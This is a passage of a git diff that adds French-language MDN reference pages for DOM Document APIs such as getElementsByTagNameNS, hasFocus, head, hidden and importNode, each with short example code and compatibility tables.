+<p>Notez que lorsque le noeud sur lequel <code>getElementsByTagName</code> est invoqué n'est pas un noeud <code>document</code>, la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/Element/getElementsByTagNameNS" title="en/DOM/element.getElementsByTagNameNS">element.getElementsByTagNameNS</a> est en fait utilisée.</p>
+
+<p>Pour utiliser l'exemple suivant, il suffit de le copier/coller dans un nouveau fichier enregistré avec l'extension .xhtml.</p>
+
+<pre class="brush: html">&lt;html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"&gt;
+
+&lt;head&gt;
+&lt;title&gt;getElementsByTagNameNS example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in div2 element");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+    &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Potential_Workaround_for_other_browsers_which_do_not_support" name="Potential_Workaround_for_other_browsers_which_do_not_support">Solution de contournement potentielle pour les navigateurs qui ne prennent pas en charge XPath</h2>
+
+<p>Si le navigateur souhaité ne supporte pas XPath, une autre approche (comme traverser le DOM à travers tous ses enfants, identifier toutes les instances de @xmlns, etc.) serait nécessaire pour trouver toutes les balises avec le nom local et l'espace de noms, mais XPath est beaucoup plus rapide. (Pour adapter à Explorer, on pourrait appeler un wrapper XPath au lieu du XPath dans la fonction ci-dessous (comme Explorer supporte XPath avec une API différente), comme <a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&amp;f=21/10.js">cette classe wrapper</a>.)</p>
+
+<pre class="brush: js">function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+	if (!doc) {
+		doc = document;
+	}
+	if (!context) {
+		context = doc;
+	}
+
+	var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i &lt; result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p>
diff --git a/files/fr/web/api/document/getselection/index.html b/files/fr/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..5a0bb35861
--- /dev/null
+++ b/files/fr/web/api/document/getselection/index.html
@@ -0,0 +1,14 @@
+---
+title: document.getSelection
+slug: Web/API/Document/getSelection
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+  - Selection
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Cette méthode fonctionne de manière identique à la méthode {{domxref ("Window.getSelection()")}} ;</span> elle<span> renvoie un objet {{domxref ("Selection")}} représentant le texte actuellement sélectionné dans le document.</span></span></p>
diff --git a/files/fr/web/api/document/hasfocus/index.html b/files/fr/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..4b70cdaf0a
--- /dev/null
+++ b/files/fr/web/api/document/hasfocus/index.html
@@ -0,0 +1,151 @@
+---
+title: document.hasFocus
+slug: Web/API/Document/hasFocus
+tags:
+  - API
+  - DOM
+  - Focus
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ ApiRef() }}</p>
+
+<p>La méthode <code><strong>Document.hasFocus()</strong></code> retourne une valeur  {{jsxref("Boolean")}} <code>true</code> <em>(vrai)</em> indiquant <span id="result_box" lang="fr"><span>si le document ou tout élément à l'intérieur du document a le focus.</span> <span>Cette méthode peut être utilisée pour déterminer si l'élément actif d'un document a le focus.</span></span></p>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>Lors de la visualisation d'un document, un élément avec focus est toujours l'élément actif dans le document, mais un élément actif n'a pas nécessairement le focus.</span> <span>Par exemple, un élément actif dans une fenêtre contextuelle qui n'est pas le premier plan n'a pas de focus.</span></span></p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">focused = document.hasFocus();
+</pre>
+
+<h3 id="Exemple" name="Exemple">Valeur retournée</h3>
+
+<p><code>false</code> <em>(faux)</em> si l'élément actif dans le document n'a pas de focus ; <code>true</code><em> (vrai)</em> si l'élément actif dans le document a le focus.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:html;highlight:[17] line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>TEST<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+<span class="selector token"><span class="id token">#message</span> </span><span class="punctuation token">{</span> <span class="property token">font-weight</span><span class="punctuation token">:</span> bold<span class="punctuation token">;</span> <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="function token">setInterval</span><span class="punctuation token">(</span> checkPageFocus<span class="punctuation token">,</span> <span class="number token">200</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">checkPageFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> info <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"message"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">if</span> <span class="punctuation token">(</span> document<span class="punctuation token">.</span><span class="function token">hasFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    info<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"The document has the focus."</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    info<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"The document doesn't have the focus."</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">openWindow</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  window<span class="punctuation token">.</span>open <span class="punctuation token">(</span>
+    <span class="string token">"http://developer.mozilla.org/"</span><span class="punctuation token">,</span>
+    <span class="string token">"mozdev"</span><span class="punctuation token">,</span>
+    <span class="string token">"width=640,height=300,left=150,top=260"</span>
+  <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>JavaScript hasFocus example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>message<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Waiting for user action<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>openWindow()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Open a new window<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>30</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>6.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.9") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Page_Visibility_API">Using the Page Visibility API</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p> </p>
diff --git a/files/fr/web/api/document/head/index.html b/files/fr/web/api/document/head/index.html
new file mode 100644
index 0000000000..1fa6aa3fa3
--- /dev/null
+++ b/files/fr/web/api/document/head/index.html
@@ -0,0 +1,75 @@
+---
+title: document.head
+slug: Web/API/Document/head
+tags:
+  - DOM
+  - Document
+  - HTML5
+translation_of: Web/API/Document/head
+---
+<h2 id="Summary" name="Summary">Résumé</h2>
+<p>Retourne l'élément {{HTMLElement("head")}} du document courant. S'il y a plus d'un élément &lt;head&gt;, le premier est retourné.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox"><em>var objRef</em> = document.head;
+</pre>
+<h2 id="Example" name="Example">Exemple</h2>
+<pre class="brush: js">// en HTML: &lt;head id="my-document-head"&gt;
+var aHead = document.head;
+
+alert(aHead.id); // "my-document-head";
+
+alert( document.head === document.querySelector("head") ); // true
+</pre>
+<h2 id="Example" name="Example">Notes</h2>
+<p><code>document.head</code> est en lecture seule. Essayer d'assigner une valeur à cettre propriété échouera en silence ou lancera une <code>TypeError</code> si le mode strict d'ECMAScript est activé dans un navigateur Gecko.</p>
+<h2 id="Compatibilité">Compatibilité</h2>
+<div>
+  {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>4.0</td>
+        <td>{{CompatGeckoDesktop("2")}}</td>
+        <td>9.0</td>
+        <td>11.0</td>
+        <td>5.0</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{CompatVersionUnknown}}</td>
+        <td>{{CompatGeckoMobile("2")}}</td>
+        <td>9.0</td>
+        <td>{{CompatVersionUnknown}}</td>
+        <td>{{CompatVersionUnknown}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<ul>
+  <li><a href="http://www.w3.org/TR/html5/dom.html#dom-tree-accessors" title="http://www.w3.org/TR/html5/dom.html#dom-document-head">HTML5: DOM Tree Accessors</a></li>
+</ul>
diff --git a/files/fr/web/api/document/height/index.html b/files/fr/web/api/document/height/index.html
new file mode 100644
index 0000000000..8f69f2dbbc
--- /dev/null
+++ b/files/fr/web/api/document/height/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.height
+slug: Web/API/Document/height
+translation_of: Web/API/Document/height
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
+<p><strong>Note:</strong> Apparu avec {{Gecko("6.0")}},<code> document.height n'est plus supporté</code>. Utilisez à la place <code>document.body.clientHeight</code>. Voir {{domxref("element.clientHeight")}}.</p>
+</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Retourne la hauteur de l'objet {{domxref("document")}}. Dans la plupart des cas, ceci est égal à l'élément {{HTMLElement("body")}} du document courant.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>height_value</em> = document.height
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// alert document height
+alert(document.height);
+</pre>
+
+<h2 id="Alternatives">Alternatives</h2>
+
+<pre class="syntaxbox">document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>HTML5</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.width")}}</li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/hidden/index.html b/files/fr/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..d4b6aaf64b
--- /dev/null
+++ b/files/fr/web/api/document/hidden/index.html
@@ -0,0 +1,43 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+translation_of: Web/API/Document/hidden
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La propriété <code><strong>Document.hidden</strong></code> retourne un Booléen qui indique si la page est considérée cachée ou pas.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>boolean</em> = document.hidden</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modifier le comportement...
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré par des données structurées. Si vous voulez contribuer, venez jeter un oeil ici <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous votre requête pull.</div>
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/fr/web/api/document/images/index.html b/files/fr/web/api/document/images/index.html
new file mode 100644
index 0000000000..56ae7fba48
--- /dev/null
+++ b/files/fr/web/api/document/images/index.html
@@ -0,0 +1,28 @@
+---
+title: document.images
+slug: Web/API/Document/images
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Document/images
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+<p><a class="internal" href="/fr/DOM/document.images" title="Fr/DOM/Document.images"><code>document.images</code></a> renvoie une collection des images du document HTML courant.</p>
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+<pre class="eval"><a class="internal" href="/fr/DOM/HTMLCollection" title="fr/DOM/HTMLCollection"><em>HTMLCollection</em></a> = <a class="internal" href="/fr/DOM/document.images" title="Fr/DOM/Document.images">document.images</a>
+</pre>
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+<pre class="eval">var listeimg = document.images;
+for(var i = 0; i &lt; listeimg.length; i++) {
+    if(listeimg[i] == "banner.gif") {
+         // l'image banner a été trouvée
+    }
+}
+</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p><a class="internal" href="/fr/DOM/document.images" title="Fr/DOM/Document.images"><code>document.images</code></a> fait partie du DOM HTML, et fonctionne uniquement pour les document HTML.</p>
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+<ul>
+ <li>Spécification DOM Level 2 HTML : <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117">HTMLDocument.images</a></li>
+ <li>Traduction en français (non normative) : <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-90379117">HTMLDocument.images</a></li>
+</ul>
diff --git a/files/fr/web/api/document/implementation/index.html b/files/fr/web/api/document/implementation/index.html
new file mode 100644
index 0000000000..5f7d1a8bff
--- /dev/null
+++ b/files/fr/web/api/document/implementation/index.html
@@ -0,0 +1,47 @@
+---
+title: document.implementation
+slug: Web/API/Document/implementation
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Reference
+translation_of: Web/API/Document/implementation
+---
+<h2 id="Résumé">Résumé</h2>
+
+<p>Retourne un objet {{domxref("DOMImplementation")}} associé avec le document courant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>DOMImpObj</var> = document.implementation;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> modName <span class="operator token">=</span> <span class="string token">"HTML"</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> modVer <span class="operator token">=</span> <span class="string token">"2.0"</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> conformTest <span class="operator token">=</span> document<span class="punctuation token">.</span>implementation<span class="punctuation token">.</span><span class="function token">hasFeature</span><span class="punctuation token">(</span> modName<span class="punctuation token">,</span> modVer <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="function token">alert</span><span class="punctuation token">(</span> <span class="string token">"DOM "</span> <span class="operator token">+</span> modName <span class="operator token">+</span> <span class="string token">" "</span> <span class="operator token">+</span> modVer <span class="operator token">+</span> <span class="string token">" supported?: "</span> <span class="operator token">+</span> conformTest <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// alerte avec : "DOM HTML 2.0 pris en charge ?: true" si le module DOM niveau 2 HTML est pris en charge.</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Une liste de noms de modules (par exemple, Core, HTML, XML, etc.) est disponible dans la </span></span> <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2">Conformance Section</a> <span lang="fr"><span> DOM niveau 2.</span></span></p>
+
+<h2 id="Notes"><span lang="fr"><span>Notes</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>La recommandation DOM niveau 1 du W3C ne spécifiait que la méthode <code>hasFeature</code>, qui est un moyen de déterminer si un module DOM est supporté par un navigateur (voir l'exemple ci-dessus et ce que votre agent utilisateur prétend prendre en charge ?).</span> <span>Si disponibles, d'autres méthodes <code>DOMImplementation</code> fournissent des services pour contrôler des choses en dehors d'un document unique.</span> <span>Par exemple, l'interface <code>DOMImplementation</code> inclut une méthode <code>createDocumentType</code> avec laquelle des DTD peuvent être créées pour un ou plusieurs documents gérés par l'implémentation.</span></span></p>
+
+<h2 id="Spécifications"><span lang="fr"><span>Spécifications</span></span></h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-102161490">DOM Level 2 Core: implementation</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-102161490">DOM Level 3 Core: implementation</a></li>
+</ul>
+
+<h2 id="Notes_propres_à_Gecko">Notes propres à Gecko</h2>
+
+<ul>
+ <li><span id="result_box" lang="fr"><span>À partir de Gecko 19.0 {{geckoRelease ("19.0")}} la méthode {{domxref ("DOMImplementation.hasFeature", "hasFeature")}} retournera toujours true.</span></span></li>
+</ul>
diff --git a/files/fr/web/api/document/importnode/index.html b/files/fr/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..32bef68f4a
--- /dev/null
+++ b/files/fr/web/api/document/importnode/index.html
@@ -0,0 +1,92 @@
+---
+title: document.importNode
+slug: Web/API/Document/importNode
+tags:
+  - API
+  - Copie
+  - Document
+  - Méthodes
+  - Noeud
+  - Reference
+translation_of: Web/API/Document/importNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span id="result_box" lang="fr"><span>La méthode {{domxref ("Document")}} <code>importNode()</code> crée une nouvelle copie du {{domxref ("Node")}} ou {{domxref ("DocumentFragment")}} spécifié à partir d'un autre document, afin qu'il puisse</span> <span>être inséré dans le document actuel.</span> <span>Il n'est pas encore inclus dans l'arbre des documents;</span> <span>Pour ce faire, vous devez appeler une méthode telle que {{domxref ("Node.appendChild", "appendChild ()")}} ou {{domxref ("Node.insertBefore", "insertBefore ()")}}.</span></span></p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="syntaxbox">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>);
+</pre>
+
+<dl>
+ <dt><code>externalNode</code></dt>
+ <dd>Le nouveau <code>Node</code> ou <code>DocumentFragment</code> à importer dans le document courant. Après l'importation, le nouveau <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/parentNode" title="DOM/Node.parentNode">parentNode</a></code> du noeud est <code>null</code>, <span id="result_box" lang="fr"><span>car il n'a pas encore été inséré dans l'arborescence du document.</span></span></dd>
+ <dt><code>deep</code></dt>
+ <dd>Une valeur booléenne <span id="result_box" lang="fr"><span>qui indique s'il faut ou non importer la totalité de la sous-arborescence DOM provenant de <code>externalNode</code>.</span> <span>Si ce paramètre est <code>true</code> (<em>vrai</em>), alors <code>externalNode</code> et tous ses descendants sont copiés;</span> <span>si <code>false</code> <em>(faux)</em>, seul le nœud unique, <code>externalNode</code>, est importé.</span></span></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la spécification DOM4, <span id="result_box" lang="fr"><span><code>deep</code> est répertorié en tant qu'argument facultatif.</span> <span>S'il est omis, la méthode agit comme si la valeur de <code>deep</code> était <code>true</code>, par défaut, elle utilisait le clonage profond comme comportement par défaut.</span> <span>Pour créer un clone superficiel, la profondeur doit être définie sur <code>false</code>.</span><br>
+ <br>
+ <span>Ce comportement a été modifié dans la dernière spécification, et s'il est omis, la méthode agira comme si la valeur de <code>deep</code> était <code>false</code>.</span> <span>Bien que ce soit toujours facultatif, vous devriez toujours fournir l'argument <code>deep</code> à la fois pour la compatibilité en amont et en aval.</span> <span>Avec Gecko 28.0 {{geckoRelease (28)}}, la console a averti les développeurs de ne pas omettre l'argument.</span> <span>À partir de Gecko 29.0 {{geckoRelease (29)}}), un clone superficiel est défini par défaut au lieu d'un clone profond.</span></span></p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> iframe <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"iframe"</span><span class="punctuation token">)</span><span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> oldNode <span class="operator token">=</span> iframe<span class="punctuation token">.</span>contentWindow<span class="punctuation token">.</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myNode"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> newNode <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">importNode</span><span class="punctuation token">(</span>oldNode<span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"container"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>newNode<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><span id="result_box" lang="fr"><span>Le noeud d'origine n'est pas supprimé du document d'origine.</span> <span>Le noeud importé est un clone de l'original.</span></span></p>
+
+<p> </p>
+
